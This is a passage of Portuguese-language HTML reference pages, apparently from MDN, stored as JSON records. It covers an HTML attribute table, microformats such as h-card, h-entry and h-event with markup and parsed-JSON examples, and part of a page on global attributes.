{"title":"Atributos - HTML: Linguagem de Marcação de Hipertexto","text":"Atributos\n=========\n\n| Nome do Atributo | Elementos | Descrição |\n| --- | --- | --- |\n| accept | `<form>` (en-US), `<input>` | Lista de tipos que o servidor aceita, tipicamente um tipo de arquivo. |\n| accept-charset | `<form>` (en-US) | Lista de conjunto de caracteres suportados. |\n| accesskey | Global attribute | Define um atalho no teclado para ativar ou adicionar foco ao elemento. |\n| action | `<form>` (en-US) | A URI de um programa que processa a informação submetida através do formulário. |\n| align | `<applet>`, `<caption>`, `<col>` (en-US), `<colgroup>` (en-US), `<hr>`, `<iframe>`, `<img>`, `<table>`, `<tbody>` (en-US), `<td>` (en-US), `<tfoot>` , `<th>`, `<thead>` (en-US), `<tr>` (en-US) | Especifica o alinhamento horizontal do elemento. |\n| alt | `<applet>`, `<area>`, `<img>`, `<input>` | Texto alternativo caso uma imagem não possa ser exibida. |\n| async | `<script>` | Indica que o script deve ser executado assíncrono. |\n| autocomplete | `<form>` (en-US), `<input>` | Indica se controles neste formulário podem por padrão ter seus valores completados automaticamente pelo navegador. |\n| autofocus | `<button>`, `<input>`, `<select>`, `<textarea>` | O elemento deve ser focado automaticamente após a página ser carregada. |\n| autoplay | `<audio>`, `<video>` | O aúdio ou vídeo deve ser reproduzido assim que possível. |\n| bgcolor | `<body>`, `<col>` (en-US), `<colgroup>` (en-US), `<marquee>`, `<table>`, `<tbody>` (en-US), `<tfoot>`, `<td>` (en-US), `<th>`, `<tr>` (en-US) | Cor do plano de fundo do elemento.Nota: Este é um atributo legado. Por favor use a propriedade CSS `background-color` em vez disso. |\n| border | `<img>`, `<object>` (en-US), `<table>` | A largura da borda.Nota: este é um atributo legado. Por favor use a propriedade CSS `border` (en-US) em vez disso. |\n| buffered | `<audio>`, `<video>` | Contém o intervalo de tempo da mídia que já foi carregada. |\n| charset | `<meta>`, `<script>` | Declara a codificação dos caracteres da página ou do script. |\n| checked | `<command>`, `<input>` | Indica se o elemento deve ser checado no carregamento da página. |\n| cite | `<blockquote>`, `<del>`, `<ins>` (en-US), `<q>` | Contêm uma URI que aponta para a fonte da citação ou alteração. |\n| class | Global attribute | Frequentemente usado com CSS para estilizar os elementos com propriedades comuns. |\n| code | `<applet>` | Especifica a URL do arquivo de classe do miniaplicativo que será carregado e executado. |\n| codebase | `<applet>` | Este atributo fornece a URL absoluta ou relativa do diretório onde os arquivos .class do miniaplicativo são armazenados. |\n| color | `<basefont>` (en-US), `<font>` (en-US), `<hr>` | Este atributo define a cor do texto usando o nome de uma cor ou uma cor especificada em hexadecimal através do formato #RRGGBB.Nota: este é um atributo legado. Por favor use a propriedade CSS `color` em vez disso. |\n| cols | `<textarea>` | Define o número de colunas numa area de texto. |\n| colspan | `<td>` (en-US), `<th>` | O atributo colspan define o número de colunas que uma célula deve conter. |\n| content | `<meta>` | Um valor associado com `http-equiv` ou `name` dependendo do contexto. |\n| contenteditable | Global attribute | Indica se o conteúdo do elemento é editável. |\n| contextmenu | Global attribute | Define o ID de um elemento `<menu>` (en-US) que servirá como o menu de contexto de um outro elemento. |\n| controls | `<audio>`, `<video>` | Indica se o navegador deve mostrar ou não os controles de reprodução ao usuário. |\n| coords | `<area>` | Uma escolha de valores especificando as coordenadas da região hot-spot. |\n| data | `<object>` (en-US) | Especifica a URL do recurso. |\n| datetime | `<del>`, `<ins>` (en-US), `<time>` | Indica a data e o horário associados ao elemento. |\n| default | `<track>` | Indica que a faixa deve estar habilitada a não ser que as preferências do usuário indiquem algo diferente. |\n| defer | `<script>` | Indica que o script deve ser executado após a página ter sido analisada. |\n| dir | Global attribute | Defina a direção do texto. Os valores permitidos são ltr (Esquerda para direita) e rtl (Direita para esquerda) |\n| dirname | `<input>`, `<textarea>` |  |\n| disabled | `<button>`, `<command>`, `<fieldset>`, `<input>`, `<optgroup>`, `<option>`, `<select>`, `<textarea>` | Indica se o usuário pode ou não interagir com o elemento. |\n| draggable | Global attribute | Define se o elemento pode ser arrastado. |\n| dropzone | Global attribute | Indica que o elemento aceita a soltagem de conteúdo nele. |\n| enctype | `<form>` (en-US) | Define o tipo de conteúdo da data do formulário quando o `method` é POST. |\n| for | `<label>`, `<output>` | Descreve elementos na qual pertencem a este. |\n| form | `<button>`, `<fieldset>`, `<input>`, `<label>`, `<meter>`, `<object>` (en-US), `<output>`, `<progress>`, `<select>`, `<textarea>` | Indica o formulário que é o proprietário do elemento. |\n| headers | `<td>` (en-US), `<th>` | IDs dos elementos `<th>` na qual se aplicam a este elemento. |\n| height | `<canvas>`, `<embed>`, `<iframe>`, `<img>`, `<input>`, `<object>` (en-US), `<video>` | Nota: Em algumas instâncias, tal como `<div>`, isto é um atributo legado, em cujo caso a propriedade CSS `height` deveria ser usado em vez. Em outros casos, assim como `<canvas>`, a altura deve ser especificado com esse atributo. |\n| hidden | Global attribute | Indica a relevância de um elemento. |\n| high | `<meter>` | Indica o menor limite da faixa superior. |\n| href | `<a>`, `<area>`, `<base>`, `<link>` | A URL de um recurso ligado. |\n| hreflang | `<a>`, `<area>`, `<link>` | Especifica o idioma de um recurso ligado. |\n| http-equiv | `<meta>` |  |\n| icon | `<command>` | Especifica uma imagem na qual represente o comando. |\n| id | Global attribute | Frequentemente usado com CSS para estilizar um elemento específico. O valor deste atributo deve ser único. |\n| ismap | `<img>` | Indica que a imagem é parte de um mapa de imagem \"sever-side\". |\n| itemprop | Global attribute |  |\n| kind | `<track>` | Especifica o tipo de caminho de texto. |\n| label | `<track>` | Especifica um título \"user-releadable\" de um caminho de texto. |\n| lang | Global attribute | Define o idioma usado no elemento. |\n| language | `<script>` | Define o idioma do script usado no elemento. |\n| list | `<input>` | Identifica uma lista de opções pré definidas para sugerir ao usuário. |\n| loop | `<audio>`, `<bgsound>` (en-US), `<marquee>`, `<video>` | Indica se a mídia deveria começar tocando do começo quando ela é finalizada. |\n| low | `<meter>` | Indica o maior limite da menor distância. |\n| manifest | `<html>` | Especifica a URL do cache manifest do documento. documento |\n| max | `<input>`, `<meter>`, `<progress>` | Indica o valor máximo permitido. |\n| maxlength | `<input>`, `<textarea>` | Define o núemro máximo de caracteres permitido no elemento. |\n| media | `<a>`, `<area>`, `<link>`, `<source>`, `<style>` | Especifica uma sugestão da mídia para qual recurso ligado foi designado. |\n| method | `<form>` (en-US) | Define qual método HTTP usar quando enviar um formulário. Pode ser GET(padrão) ou POST. |\n| min | `<input>`, `<meter>` | Indica o valor mínimo permitido. |\n| multiple | `<input>`, `<select>` | Indica se múltiplos valores podem ser inseridos em uma entrada do tipo `email` ou `file`. |\n| name | `<button>`, `<form>` (en-US), `<fieldset>`, `<iframe>`, `<input>`, `<object>` (en-US), `<output>`, `<select>`, `<textarea>`, `<map>`, `<meta>`, `<param>` (en-US) | Nome do elemento. Por exemplo usado pelo servidor para identificar os campos no envio do formulário. |\n| novalidate | `<form>` (en-US) | Este atributo indica que o formulário não deveria ser validado quando enviado. |\n| open | `<details>` | Indica se os detalhes serão mostrados no carregamento da página. |\n| optimum | `<meter>` | Indica o valor numérico optimal. |\n| pattern | `<input>` | Define uma espreção regular na qual o valor do elemento será validado de encontro. |\n| ping | `<a>`, `<area>` |  |\n| placeholder | `<input>`, `<textarea>` | Fornece uma sugestão ao usuário de o que pode ser inserido no campo. |\n| poster | `<video>` | Uma URL indicando uma poster frame para mostrar desde que o usuário toque ou busque. |\n| preload | `<audio>`, `<video>` | Indica se todo o recurso, partes dele ou nada deveria ser pré carregado. |\n| pubdate | `<time>` | Indica se esta data e tempo é a data no mais próximoelemento antecessor`<article>`. |\n| radiogroup | `<command>` |  |\n| readonly | `<input>`, `<textarea>` | Indica se o elemento pode ser editado. |\n| rel | `<a>`, `<area>`, `<link>` | Especifica o relacionamento do objeto alvo para o objeto ligado. |\n| required | `<input>`, `<select>`, `<textarea>` | Indica se este elemento é requerido para preencher ou não. |\n| reversed | `<ol>` | Indica se a lista deveria ser mostrada em uma ordem decrescente em vez de uma crescente. |\n| rows | `<textarea>` | Define o número de linhas em uma área de texto. |\n| rowspan | `<td>` (en-US), `<th>` | Define o número de linhas que uma célula de tabela deveria abranger mais. |\n| sandbox | `<iframe>` |  |\n| spellcheck | Global attribute | Indica se o spell de checagem está permitido para o elemento. |\n| scope | `<th>` |  |\n| scoped | `<style>` |  |\n| seamless | `<iframe>` |  |\n| selected | `<option>` | Define o valor na qual será selecionado no carregamento da página. |\n| shape | `<a>`, `<area>` |  |\n| size | `<input>`, `<select>` | Define a largura do elemento (em pixels). Se o elemento de atributo `type` é `text` ou `password` então este é o número de caracteres. |\n| sizes | `<link>` |  |\n| span | `<col>` (en-US), `<colgroup>` (en-US) |  |\n| src | `<audio>`, `<embed>`, `<iframe>`, `<img>`, `<input>`, `<script>`, `<source>`, `<track>`, `<video>` | URL de um conteúdo incorporável. |\n| srcdoc | `<iframe>` |  |\n| srclang | `<track>` |  |\n| start | `<ol>` | Define o primeiro número se não for 1. |\n| step | `<input>` |  |\n| style | Global attribute | Define estilos CSS na qual ultrapassarão estilos previamente configurados. |\n| summary | `<table>` |  |\n| tabindex | Global attribute | Ultrapassa a ordem de tabulação padrão do navegador e segue o especificado como alternativa. |\n| target | `<a>`, `<area>`, `<base>`, `<form>` (en-US) |  |\n| title | Global attribute | Texto a ser mostrado em uma dica quando suspenso sobre um elemento. |\n| type | `<button>`, `<input>`, `<command>`, `<embed>`, `<object>` (en-US), `<script>`, `<source>`, `<style>`, `<menu>` (en-US) | Define o tipo de elemento. |\n| usemap | `<img>`, `<input>`, `<object>` (en-US) |  |\n| value | `<button>`, `<option>`, `<input>`, `<li>`, `<meter>`, `<progress>`, `<param>` (en-US) | Define o valor padrão na qual será mostrado no elemento no carregar da página. |\n| width | `<canvas>`, `<embed>`, `<iframe>`, `<img>`, `<input>`, `<object>` (en-US), `<video>` | Nota: Em algumas instâncias, tal como `<div>`, este é um atributo legado, no caso da propriedade CSS `width` deveria ser usado ao em vez. em outros casos, tal como `<canvas>`, a largura deve ser especificada com este atributo. |\n| wrap | `<textarea>` | Indica se o texto deveria ser enrolado. |"}
{"title":"Microformatos - HTML: Linguagem de Marcação de Hipertexto","text":"Microformatos\n=============\n\n*Microformatos* (ás vezes abreviado como **μF**) são convenções utilizadas para incorporar convenções semânticas em HTML e providenciar uma API a ser usada por mecanismos de pesquisa, agregadores e outras ferramentas. Esses padrões mínimos de HTML são usados para marcar entidades que variam de informações fundamentais a específicas de domínio, como pessoas, organizações, eventos e locais.\n\nOs microformatos são suportados pelos principais mecanismos de pesquisa. Os dados são transportados na propriedade de classe que pode ser adicionada a qualquer elemento HTML. Além de legíveis por máquina, seu formato é projetado para ser facilmente lido por humanos.\n\nExistem bibliotecas de análise para a maioria das linguagens para microformatos2.\n\n### Como os Microformatos Funcionam?\n\nUm autor de uma página web pode adicionar microformatos no seu HTML. Por exemplo se ele quer se identificar ele podem utilizar um h-card como:\n\n\n```html\n<a class=\"h-card\" href=\"http://example.com\">Joe Bloggs</a>\n```\n\n\nQuando um analisador encontra esse dado, ele saberá que nessa página contém um \"card\" que descreve uma pessoa ou uma organização chamada `Joe Blogger` com uma URL de `http://example.com/`. O analisador disponibiliza esses dados por meio de APIs que podem ser usadas por diferentes aplicativos.\n\nComo neste exemplo, alguns padrões de marcação requerem apenas um único nome de classe raiz de microformato, que os analisadores usam para encontrar algumas propriedades genéricas, como: `name`, `url`, `photo`.\n\nPrefixos de Microformatos\n-------------------------\n\nTodos os microformatos consistem de uma raíz e uma coleção de propriedades. As propriedades são opcionais e potencilamente multivaloradas - aplicações que necessitam de um valor único devem utilizar a primeira instância de uma propriedade. Os dados hierárquicos são representados com microformatos aninhados, normalmente como valores de propriedade.\n\nTodas os nomes de classes de microformatos utilizam prefixos. Os prefixos são Os prefixos são **independentes da sintaxe dos vocabulários**, os quais são desenvolvidos separadamente.\n\n* **\"h-\\*\" para nome de classes raíz**, p.ex \"h-card\", \"h-entry\", \"h-feed\", e várias outras. Essas classes de alto nível normalmente indicam um tipo e o vocabulário esperado de propriedades correspondente. Por exemplo:\n    + h-card descreve uma pessoa ou uma organização.\n    + h-entry descreve conteúdo on-line em série ou com data marcada como uma postagem de blog.\n    + h-feed descreve um fluxo de dados ou um feed de postagens.\n    + Você pode encontrar vários outros You can find many more vocabulários na wiki de microformatos2.\n* **\"p-\\*\" para propriedades de texto simples,** p.ex \"p-name\", \"p-summary\"\n    + Análise de texto simples, texto de elemento em geral. Em certos elementos HTML, use atributos especiais primeiro, por exemplo img / alt, abbr / título.\n* **\"u-\\*\" para propriedades URL**, p.ex \"u-url\", \"u-photo\", \"u-logo\"\n    + Análise especial necessária: prefer a/href, img/src, object/data etc. atributos sobre o conteúdo do elemento.\n* **\"dt-\\*\" para propriedades de data e hora**, p.ex \"dt-start\", \"dt-end\", \"dt-bday\"\n    + Análise especial necessária: value-class-pattern and separate date time value parsing for readability.\n* **\"e-\\*\" para propriedades da árvore de elementos** em que toda a hierarquia de elementos contidos é o valor, p.ex \"e-content\". O prefixo \"e-\" também pode ser lembrado mnemonicamente como \"árvore de elementos\", \"marcação incorporada\", ou \"marcação encapsulada\".\nAlguns exemplos de microformatos\n--------------------------------\n\n### h-card\n\nO microformato h-card representa uma pessoa ou uma organização.\n\nO valor de cada propriedade é definido no HTML utilizando a propriedade class, qualquer elemento pode receber.\n\n#### Exemplo de h-card\n\n\n```html\n<p class=\"h-card\">\n  <img class=\"u-photo\" src=\"http://example.org/photo.png\" alt=\"\" />\n  <a class=\"p-name u-url\" href=\"http://example.org\">Joe Bloggs</a>\n  <a class=\"u-email\" href=\"mailto:joebloggs@example.com\"\n >joebloggs@example.com</a\n >,\n  <span class=\"p-street-address\">17 Austerstræti</span>\n  <span class=\"p-locality\">Reykjavík</span>\n  <span class=\"p-country-name\">Iceland</span>\n</p>\n```\n\n\n| Propriedade | Descrição |\n| --- | --- |\n| **`p-name`** | O nome completo/formatado da pessoa ou organização |\n| **`u-email`** | endereço de e-mail |\n| **`u-photo`** | uma foto da |\n| **`u-url`** | página na web ou outra URL representando a pessoa ou a organização |\n| **`u-uid`** | identificador universal único, de preferência URL canônico |\n| **`p-street-address`** | número da rua + enderço |\n| **`p-locality`** | cidade ou vilarejo |\n| **`p-country-name`** | nome do país |\n\n#### Exemplo de h-card aninhado\n\n\n```html\n<div class=\"h-card\">\n  <a class=\"p-name u-url\" href=\"http://blog.lizardwrangler.com/\"\n >Mitchell Baker</a\n >\n  (<a class=\"p-org h-card\" href=\"http://mozilla.org/\">Mozilla Foundation</a>)\n</div>\n```\n\n\nJSON analisado:\n\n\n```js\n{\n  \"items\": [{\n  \"type\": [\"h-card\"],\n  \"properties\": {\n    \"name\": [\"Mitchell Baker\"],\n    \"url\": [\"http://blog.lizardwrangler.com/\"],\n    \"org\": [{\n    \"value\": \"Mozilla Foundation\",\n    \"type\": [\"h-card\"],\n    \"properties\": {\n      \"name\": [\"Mozilla Foundation\"],\n      \"url\": [\"http://mozilla.org/\"]\n    }\n    }]\n  }\n  }]\n}\n```\n\n\nNota: o h-card aninhado implica nas propriedades 'name' e 'url', assim como qualquer outro h-card apenas com nome de classe raiz em um `<a href>`.\n\n### h-entry\n\nO microformato h-entry representa um conteúdo em série ou um conteúdo com data marcada na web. h-entry é frequentemente usado com conteúdo destinado a ser distribuído, p.ex postagens em blog.\n\nExemplo de h-entry como uma postagem em blog:\n\n\n```html\n<article class=\"h-entry\">\n  <h1 class=\"p-name\">Microformats are amazing</h1>\n  <p>\n    Published by\n    <a class=\"p-author h-card\" href=\"http://example.com\">W. Developer</a> on\n    <time class=\"dt-published\" datetime=\"2013-06-13 12:00:00\"\n >13<sup>th</sup> June 2013</time\n >\n  </p>\n\n  <p class=\"p-summary\">In which I extoll the virtues of using microformats.</p>\n\n  <div class=\"e-content\">\n    <p>Blah blah blah</p>\n  </div>\n</article>\n```\n\n\n#### Propriedades\n\n| Propriedade | Descrição |\n| --- | --- |\n| **`p-name`** | nome/título da entrada |\n| **`p-author`** | quem escreveu a entrada, h-card opcionalmente incorporado |\n| **`dt-published`** | quando a entrada foi publicada |\n| **`p-summary`** | breve resumo da entrada |\n| **`e-content`** | conteúdo completo da entrada |\n\n#### Exemplo de h-entry analisado\n```\n\n<div class=\"h-entry\">\n  <p><span class=\"p-author h-card\">\n    <a href=\"https://quickthoughts.jgregorymcverry.com/profile/jgmac1106\" ><img class=\"u-photo\" src=\"https://quickthoughts.jgregorymcverry.com/file/2d6c9cfed7ac8e849f492b5bc7e6a630/thumb.jpg\"/></a>\n    <a class=\"p-name u-url\" href=\"https://quickthoughts.jgregorymcverry.com/profile/jgmac1106\">Greg McVerry</a></span>\n     Replied to <a class=\"u-in-reply-to\" href=\"https://developer.mozilla.org/pt-BR/docs/Web/HTML/microformats\">a post on\n   <strong>developer.mozilla.org</strong> </a>:\n  </p>\n   <p class=\"p-name e-content\">Hey thanks for making this microformats resource</p>\n   <p> <a href=\"https://quickthoughts.jgregorymcverry.com/profile/jgmac1106\">Greg McVerry</a>\n  published this <a class=\"u-url url\" href=\"https://quickthoughts.jgregorymcverry.com/2019/05/31/hey-thanks-for-making-this-microformats-resource\"><time class=\"dt-published\"\n   datetime=\"2019-05-31T14:19:09+0000\">31 May 2019</time></a></p>\n</div>\n```\n\n\n```\n{\n  \"items\": [\n    {\n      \"type\": [ \"h-entry\" ],\n      \"properties\": {\n        \"in-reply-to\": [ \"https://developer.mozilla.org/pt-BR/docs/Web/HTML/microformats\" ],\n        \"name\": [ \"Hey thanks for making this microformats resource\" ],\n        \"url\": [ \"https://quickthoughts.jgregorymcverry.com/2019/05/31/hey-thanks-for-making-this-microformats-resource\" ],\n        \"published\": [ \"2019-05-31T14:19:09+0000\" ],\n        \"content\": [\n          {\n            \"html\": \"Hey thanks for making this microformats resource\",\n            \"value\": \"Hey thanks for making this microformats resource\",\n            \"lang\": \"en\"\n          }\n        ],\n        \"author\": [\n          {\n            \"type\": [ \"h-card\" ],\n            \"properties\": {\n              \"name\": [ \"Greg McVerry\" ],\n              \"photo\": [ \"https://quickthoughts.jgregorymcverry.com/file/2d6c9cfed7ac8e849f492b5bc7e6a630/thumb.jpg\" ],\n              \"url\": [ \"https://quickthoughts.jgregorymcverry.com/profile/jgmac1106\" ]\n            },\n            \"lang\": \"en\",\n            \"value\": \"Greg McVerry\"\n          }\n        ]\n      },\n      \"lang\": \"en\"\n    }\n```\n\n### h-feed\n\nO h-feed é um fluxo de dados ou um feed de posts de h-entry, como postagens completas em uma página inicial ou em páginas de arquivo, sumários ou outras listagens de postagens\n\n#### Exemplo h-feed\n\n\n```html\n<div class=\"h-feed\">\n  <h1 class=\"p-name\">Microformats Blogs</h1>\n  <article class=\"h-entry\">\n    <h2 class=\"p-name\">Microformats are amazing</h2>\n    <p>\n      Published by\n      <a class=\"p-author h-card\" href=\"http://example.com\">W. Developer</a> on\n      <time class=\"dt-published\" datetime=\"2013-06-13 12:00:00\"\n >13<sup>th</sup> June 2013</time\n >\n    </p>\n    <p class=\"p-summary\">\n      In which I extoll the virtues of using microformats.\n    </p>\n    <div class=\"e-content\"><p>Blah blah blah</p></div>\n  </article>\n</div>\n```\n\n\n#### Propriedades\n\n| Propriedades | Descrição |\n| --- | --- |\n| **`p-name`** | nome do feed |\n| **`p-author`** | autor do feed, opcionalmente incorporado com um h-card |\n\n#### Filhos\n\n| **h-entry aninhado** |  |\n| --- | --- |\n| objetos representando os itens do feed |  |\n\n### h-event\n\nO `h-event` é para evento na web. O h-event é frequentemente usado com listagens de eventos e páginas de eventos individuais.\n\n\n```html\n<div class=\"h-event\">\n  <h1 class=\"p-name\">Microformats Meetup</h1>\n  <p>\n    From\n    <time class=\"dt-start\" datetime=\"2013-06-30 12:00\"\n >30<sup>th</sup> June 2013, 12:00</time\n >\n    to <time class=\"dt-end\" datetime=\"2013-06-30 18:00\">18:00</time> at\n    <span class=\"p-location\">Some bar in SF</span>\n  </p>\n  <p class=\"p-summary\">\n    Get together and discuss all things microformats-related.\n  </p>\n</div>\n```\n\n\n#### Propriedades\n\n| Propriedade | Descrição |\n| --- | --- |\n| **`p-name`** | nome do evento (ou título) |\n| **`p-summary`** | breve sumário do evento |\n| **`dt-start`** | data e hora de início do evento |\n| **`dt-end`** | data e hora de termino do evento |\n| **`p-location`** | local do evento, opcionalmente incorporado com um h-card |\n\n#### Exemplo de h-event analisado\n```\n\n<div class=\"h-event\">\n  <h2 class=\"p-name\">IndieWeb Summit</h2>\n  <time class=\"dt-start\" datetime=\"2019-06-29T09:00:00-07:00\">June 29, 2019 at 9:00am  (-0700)</time><br>through <time class=\"dt-end\" datetime=\"2019-06-30T18:00:00-07:00\">June 30, 2019 at 6:00pm (-0700)</time><br>\n  <div class=\"p-location h-card\">\n    <div>\n    <span class=\"p-name\">Mozilla</span>\n     </div>\n     <div>\n      <span class=\"p-street-address\">1120 NW Couch St</span>,\n      <span class=\"p-locality\">Portland</span>,\n      <span class=\"p-region\">Oregon</span>,\n      <span class=\"p-country\">US</span>\n     </div>\n       <data class=\"p-latitude\" value=\"45.52345\"></data>\n      <data class=\"p-longitude\" value=\"-122.682677\"></data>\n  </div>\n    <div class=\"e-content\">Come join us\n     </div>\n    <div>\n     <span class=\"p-author h-card\"><a class=\"u-url p-name\" href=\"https://aaronparecki.com\">Aaron Parecki</a></span> Published this <a href=\"https://aaronparecki.com/2019/06/29/1/\" class=\"u-url\">event </a>on <time class=\"dt published\" datetime=\"2019-05-25T18:00:00-07:00\">May 5th, 2019</time>\n    </div>\n</div>\n```\n\n\n```\n{\n  \"items\": [\n    {\n      \"type\": [ \"h-event\" ],\n      \"properties\": {\n        \"name\": [ \"IndieWeb Summit\" ],\n        \"url\": [ \"https://aaronparecki.com/2019/06/29/1/\" ],\n        \"author\": [\n          {\n            \"type\": [ \"h-card\" ],\n            \"properties\": {\n              \"name\": [ \"Aaron Parecki\" ],\n              \"url\": [ \"https://aaronparecki.com\"]\n            },\n            \"lang\": \"en\",\n            \"value\": \"Aaron Parecki\"\n          }\n        ],\n        \"start\": [ \"2019-06-29T09:00:00-07:00\" ],\n        \"end\": [ \"2019-06-30T18:00:00-07:00\" ],\n        \"published\": [ \"2019-05-25T18:00:00-07:00\" ],\n        \"content\": [\n          {\n            \"html\": \"Come join us\",\n            \"value\": \"Come join us\",\n            \"lang\": \"en\"\n          }\n        ],\n        \"location\": [\n          {\n            \"type\": [ \"h-card\" ],\n            \"properties\": {\n              \"name\": [ \"Mozilla\" ],\n              p-street-address: [ \"1120 NW Couch St\" ]\n              \"locality\": [ \"Portland\" ],\n              \"region\": [ \"Oregon\" ],\n              \"country\": [ \"US\" ],\n              \"latitude\": [ \"45.52345\" ],\n              \"longitude\": [ \"-122.682677\" ]\n            },\n            \"lang\": \"en\",\n            \"value\": \"Mozilla\"\n          }\n        ]\n      },\n      \"lang\": \"en\"\n    }\n  ],\n```\n\n\nSee also\n\n* Microformat na Wikipedia\n* Site oficial dos Microformatos\n* Motores de busca suportados no site oficial do Microformats\n* Microformatos no IndieWebCamp"}
{"title":"Atributos Globais - HTML: Linguagem de Marcação de Hipertexto","text":"Atributos Globais\n=================\n\n**Atributos Globais** são atributos comuns a todos elementos HTML; eles podem ser usados em todos os elementos, embora os atributos não tenham efeito em alguns elementos.\n\nOs atributos globais podem ser especificados em todos os elementos HTML, mesmo aqueles não especificados no padrão. Isso significa que qualquer elemento não padrão ainda deve permitir esses atributos, mesmo que usar esses elementos significa que o documento não é mais compatível com HTML5. Por exemplo, navegadores compatíveis com HTML5 escondem o conteúdo marcado como `<foo hidden>...<foo>`, mesmo que `<foo>` não seja um elemento HTML válido.\n\nAlém dos atributos globais HTML básicos, os seguintes atributos globais também existem:\n\n* **`xml:lang`** e **`xml:base`** — Estes são herdados das especificações XHTML e obsoletos, mas mantidos para fins de compatibilidade.\n* Os vários atributos **`aria-*`**, são utilizados para promover a acessibilidade.\n* Os atributos manipuladores de eventos:: **`onabort`**, **`onautocomplete`**, **`onautocompleteerror`**, **`onblur`**, **`oncancel`**, **`oncanplay`**, **`oncanplaythrough`**, **`onchange`**, **`onclick`**, **`onclose`**, **`oncontextmenu`**, **`oncuechange`**, **`ondblclick`**, **`ondrag`**, **`ondragend`**, **`ondragenter`**, **`ondragexit`**, **`ondragleave`**, **`ondragover`**, **`ondragstart`**, **`ondrop`**, **`ondurationchange`**, **`onemptied`**, **`onended`**, **`onerror`**, **`onfocus`**, **`oninput`**, **`oninvalid`**, **`onkeydown`**, **`onkeypress`**, **`onkeyup`**, **`onload`**, **`onloadeddata`**, **`onloadedmetadata`**, **`onloadstart`**, **`onmousedown`**, **`onmouseenter`**, **`onmouseleave`**, **`onmousemove`**, **`onmouseout`**, **`onmouseover`**, **`onmouseup`**, **`onmousewheel`**, **`onpause`**, **`onplay`**, **`onplaying`**, **`onprogress`**, **`onratechange`**, **`onreset`**, **`onresize`**, **`onscroll`**, **`onseeked`**, **`onseeking`**, **`onselect`**, **`onshow`**, **`onsort`**, **`onstalled`**, **`onsubmit`**, **`onsuspend`**, **`ontimeupdate`**, **`ontoggle`**, **`onvolumechange`**, **`onwaiting`**.\nLista dos Atributos Globais\n---------------------------\n\n`accesskey`\n\nFornece uma dica para gerar um atalho de teclado para o elemento atual. Este atributo consiste em uma lista de caracteres separados por espaços. O navegador deve usar o primeiro que existe no layout do teclado do computador.\n\n`class`\n\n É uma lista separada por espaço das classes do elemento. as classes permitem ao CSS e ao JavaScript selecionar e acessar elementos específicos atraves dos seletores de classe ou funciona como um método\n `Document.getElementsByClassName()`.\n\n\n`contenteditable`\n\nÉ um atributo enumerado que indica se o elemento deve ser editado pelo usuário. Se assim for, o navegador modifica seu widget para permitir a edição. O atributo deve ter um dos seguintes valores:\n\n* `true` ou uma string vazia, indica que o elemento deve ser editável;\n* `false`, indica que o elemento não deve ser editável.\n\n`contextmenu` (en-US)\n\nÉ o **`id`** de um `<menu>` (en-US) para usar como o menu contextual para este elemento.\n\n`data-*`\n\nForma uma classe de atributos, denominado de dados personalizados, que permite troca de informações proprietárias entre o HTML e a sua representação no DOM pode ser usada por scripts. Todos esses dados personalizados estão disponíveis através da interface do elemento `HTMLElement` (en-US) em que o atributo está definido. A propriedade `HTMLElement.dataset` (en-US) dá acesso a eles.\n\n`dir` (en-US)\n\nÉ um atributo enumerado que indica a direcionalidade do texto do elemento. Pode ter os seguintes valores:\n\n* `ltr`, significa da esquerda para a direita e deve ser usado para idiomas que são escritos da esquerda para a direita (como o português do Brasil, inglês, espanhol, etc);\n* `rtl`, significa da direita para a esquerda e deve ser usado para idiomas que são escritos da direita para a esquerda (como o árabe);\n* `auto`, que permite que o agente do usuário decida. Ele usa um algoritmo básico, pois analisa os caracteres dentro do elemento até encontrar um caractere com uma direcionalidade forte e, em seguida, aplica essa direcionalidade para todo o elemento.\n\n`draggable` (en-US) \nExperimental\n\nÉ um atributo enumerado que indica se o elemento pode ser arrastado, usando a API Drag and Drop. Pode ter os seguintes valores:\n\n* `true`, que indica que o elemento pode ser arrastado\n* `false`, que indica que o elemento não pode ser arrastado.\n\n`dropzone` \nExperimental\n\nÉ um atributo enumerado que indica quais tipos de conteúdo podem ser descartados em um elemento, usando a API Drag and Drop. Pode ter os seguintes valores:\n\n* `copy`, que indica que o lançamento criará uma cópia do elemento que foi arrastado.\n* `move`, que indica que o elemento que foi arrastado será movido para esta nova localização.\n* `link`, irá criar um link para os dados arrastados.\n\n`hidden`\n\nUm atributo booleano indica que o elemento ainda não é relevante ou não é mais relevante. Por exemplo, ele pode ser usado para ocultar elementos da página que não podem ser usados até que o processo de login tenha sido concluído. O navegador não renderizará esses elementos. Este atributo não deve ser usado para ocultar conteúdo que possa ser legível.\n\n`id`\n\nDefine um identificador exclusivo (ID) que deve ser único em todo o documento. Seu objetivo é identificar o elemento ao vincular (usando um identificador de fragmento), um script ou estilo (com CSS).\n\n\n**Nota:** Os 5 atributos seguintes são partes do Recursos de Microdados WHATWG HTML.\n\n`itemid` (en-US) \nExperimental\n\nO identificador único e global de um item.\n\n`itemprop` \nExperimental\n\nUsado para adicionar propriedades a um item. Cada elemento HTML pode ter um atributo itemprop especificado, onde um itemprop consiste em um par de nomes e valores.\n\n`itemref` (en-US) \nExperimental\n\nAs propriedades que não são descendentes de um elemento com o atributo `itemscope` podem ser associadas ao item usando um **itemref**. Itemref fornece uma lista de ids de elementos (não `itemid`) com propriedades adicionais em outro lugar do documento.\n\n`itemscope` \nExperimental\n\nEste atributo funciona, em geral, com o atributo `itemtype` (en-US) para especificar o HTML dentro de um bloco é sobre um item particular. `itemscope` (en-US) cria o item e define o escopo do `itemtype` (en-US) associado a ele. `itemtype` (en-US) é uma URL válida de um vocabulário (como o schema.org) que descreve o item e o context de seus atributos.\n\n`itemtype` (en-US) \nExperimental\n\nEspecifica a URL do vocabulário que será usado para definir as propriedades do item na estrutura de dados. `itemscope` (en-US) é usado para alterar o escopo na estrutura de dados onde o vocabulário definido por `itemtype` (en-US) estará ativo.\n\n`lang`\n\nParticipa da definição do idioma do elemento, o idioma no qual os elementos não-editáveis estão escritos, ou o idioma no qual elementos editáveis devem ser escritos. A Tag contém um único valor no formato definido no documento da IEFT Tags para Identificação de Idiomas (BCP47). `xml:lang` tem prioridade mais alta que `lang`.\n\n`spellcheck` \nExperimental\n\nÉ um atributo enumerado que define se o elemento pode ser verificado por errors de ortografia. Pode ter os seguintes valores:\n\n* `true`, indica que o elemento deve ser, se possível, verificado por errors ortográficos;\n* `false`, indica que o elemento não deve ser verificado quanto à ortogratia do texto.\n\n`style` (en-US)\n\nContém regras de declarações CSS para aplicar no elemento. Note que é recomendado que as regras CSS fiquem num arquivo, ou vários arquivos, separado do HTML. Este atributo e o elemento `<style>` tem principalmente o propósito para rápida estilização do 